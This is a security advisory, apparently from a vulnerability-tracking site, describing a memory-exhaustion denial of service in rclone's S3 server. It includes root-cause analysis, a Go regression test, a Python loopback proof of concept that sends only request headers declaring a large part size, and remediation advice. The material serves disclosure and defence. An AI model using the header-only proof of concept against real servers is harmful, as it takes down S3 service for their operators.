rclone: S3 multipart declared-length memory exhaustion
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
In streamed multipart mode, serve s3 passes the request's declared part length to multipart.NewRW().Reserve(contentLength) before reading any part data. Reserve immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on Content-Length or X-Amz-Decoded-Content-Length; the client does not need to transmit the corresponding body.
--multipart-streaming-buffer-limit does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.
The default S3 configuration allows anonymous access when no auth_key is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e, both of which include streamed multipart support.
Affected Assets & Attack Surface
cmd/serve/s3/s3.go:40-46defines the streaming buffer limit and describes it as a limit for out-of-order parts.cmd/serve/s3/server.go:67-101permits anonymous requests whenAuthKeyis empty and configures S3 authentication otherwise.cmd/serve/s3/multipart.go:183-209admits the declared part size and callsReserve(contentLength)beforeio.Copyreads the body.cmd/serve/s3/multipart.go:220-238always admits the current expected part and one oversized part when the buffer is empty, even whensize > bufferLimit.lib/multipart/multipart.go:23-24creates an RW backed by the global memory pool.lib/pool/reader_writer.go:64-76rounds the declared length to pool pages and immediately callsGetN.lib/pool/pool.go:18-23sets the global pool page size to 1 MiB.lib/pool/pool.go:223-260allocates every requested page inGetN.github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004parses the request length without an upper bound, including the decoded-length header used for streaming signatures.github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023passes the declared length and unread request body to rclone's streamingUploadPartimplementation.- Network attack surface: S3
CreateMultipartUploadfollowed byUploadPartagainst a backend eligible for streamed multipart uploads.
Technical Root Cause Analysis
The admission counter and the allocator both use the attacker-controlled contentLength, while the admission rules allow the current part regardless of its size:
1if up.bufferLimit <= 0 || 2 partNumber <= up.nextPart || 3 up.buffered == 0 || 4 up.buffered+size <= up.bufferLimit { 5 up.buffered += size 6 return nil 7}Part 1 of a new upload satisfies both partNumber <= up.nextPart and up.buffered == 0, regardless of size. UploadPart then executes:
1rw := multipart.NewRW().Reserve(contentLength)Reserve calculates the page count and calls pool.GetN. With the default global pool, GetN allocates a 1 MiB byte slice for every missing page. This occurs before io.Copy attempts to read the request body.
The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts Content-Length as an int64; signed streaming requests can replace it with X-Amz-Decoded-Content-Length. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.
The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.
Setting the global --max-buffer-memory may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses context.Background(), and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.
Proof of Concept & Evidence
Bounded regression test
The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as cmd/serve/s3/security_regression_test.go:
1package s3 2 3import ( 4 "testing" 5 6 "github.com/rclone/rclone/lib/multipart" 7 "github.com/rclone/rclone/lib/pool" 8 "github.com/stretchr/testify/require" 9)10 11func TestOversizedCurrentPartReservation(t *testing.T) {12 const (13 limit = int64(1 << 20) // 1 MiB configured limit14 size = int64(16 << 20) // 16 MiB attacker declaration15 )16 17 up := newMultipartUpload(18 "bucket", "object", "bucket/object", "bucket/object", nil, limit,19 )20 21 require.NoError(t, up.waitForTurn(1, size))22 require.Equal(t, size, up.buffered)23 24 before := pool.Global().InUse()25 rw := multipart.NewRW().Reserve(size)26 t.Cleanup(func() { require.NoError(t, rw.Close()) })27 after := pool.Global().InUse()28 29 require.GreaterOrEqual(t,30 after-before,31 int(size/int64(pool.BufferSize)),32 )33}Run:
1go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -vObserved against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:
1=== RUN TestOversizedCurrentPartReservation 2--- PASS: TestOversizedCurrentPartReservation (0.00s) 3PASSThe passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.
Loopback HTTP validation
Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.
1mkdir -p /tmp/rclone-s3-root/bucket 2 3./rclone serve s3 /tmp/rclone-s3-root \ 4 --addr 127.0.0.1:8080 \ 5 --multipart-streaming-buffer-limit 1MiIn another terminal:
1python3 - <<'PY' 2import http.client 3import socket 4import time 5import xml.etree.ElementTree as ET 6from urllib.parse import quote 7 8host = "127.0.0.1" 9port = 808010 11# Anonymous mode is intentional here and matches a supported default setup.12c = http.client.HTTPConnection(host, port, timeout=5)13c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"})14r = c.getresponse()15body = r.read()16assert r.status == 200, (r.status, body)17upload_id = ET.fromstring(body).findtext("{*}UploadId")18assert upload_id19c.close()20 21declared = 64 * 1024 * 102422path = "/bucket/object?partNumber=1&uploadId=" + quote(upload_id, safe="")23 24s = socket.create_connection((host, port), timeout=5)25s.sendall((26 f"PUT {path} HTTP/1.1\r\n"27 f"Host: {host}:{port}\r\n"28 f"Content-Length: {declared}\r\n"29 "Connection: close\r\n"30 "\r\n"31).encode("ascii"))32 33# No body bytes are sent. Inspect the fresh rclone process while this waits:34# the handler has reserved 64 pool pages despite the 1 MiB reorder limit.35time.sleep(5)36s.close()37PYClosing the socket allows the handler to return IncompleteBody and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.
The final automated validation performed this sequence through the real HTTP listener rather than calling waitForTurn or Reserve directly:
- Started an anonymous
serve s3server on loopback with a local streaming-capable backend. - Set
MultipartStreamingBufferLimitto 1 MiB. - Created a multipart upload with an HTTP
POSTand parsed its returned upload ID. - Recorded
pool.Global().InUse()after upload creation. - Opened a raw TCP connection and sent an
UploadPartrequest declaringContent-Length: 16777216. - Sent no request-body bytes.
- Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open.
- Closed the connection, producing the expected short-body
unexpected EOFlog rather than completing an upload.
The central assertion was:
1const declared = int64(16 << 20) 2baseline := pool.Global().InUse() 3 4connection, err := net.DialTimeout("tcp", server.Addr().String(), 5*time.Second) 5require.NoError(t, err) 6_, err = fmt.Fprintf(connection, 7 "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n", 8 partPath, server.Addr().String(), declared) 9require.NoError(t, err)10 11wantPages := int(declared / int64(pool.BufferSize))12require.Eventually(t, func() bool {13 return pool.Global().InUse()-baseline >= wantPages14}, 5*time.Second, 10*time.Millisecond)It passed on Windows/amd64 with Go 1.26.2:
1=== RUN TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody 2NOTICE: serve s3: No auth provided so allowing anonymous access 3ERROR : serve s3: unexpected EOF 4--- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s)This demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.
Impact Assessment
A network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.
The directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.
Unauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With auth_key, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.
Remediation Guidance
Do not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:
- For
partNumber == nextPart, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed. - For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted.
- Remove
Reserve(contentLength)from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted. - Enforce an explicit maximum part size before allocation, including both
Content-LengthandX-Amz-Decoded-Content-Length. Match the intended S3 compatibility limit and return an S3-compatible error such asEntityTooLargeorInvalidRequest. - Reject negative, overflowing, or platform-
int-unrepresentable page counts before arithmetic or conversion. - Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on
context.Background()for an impossible weight. - Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely.
- Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…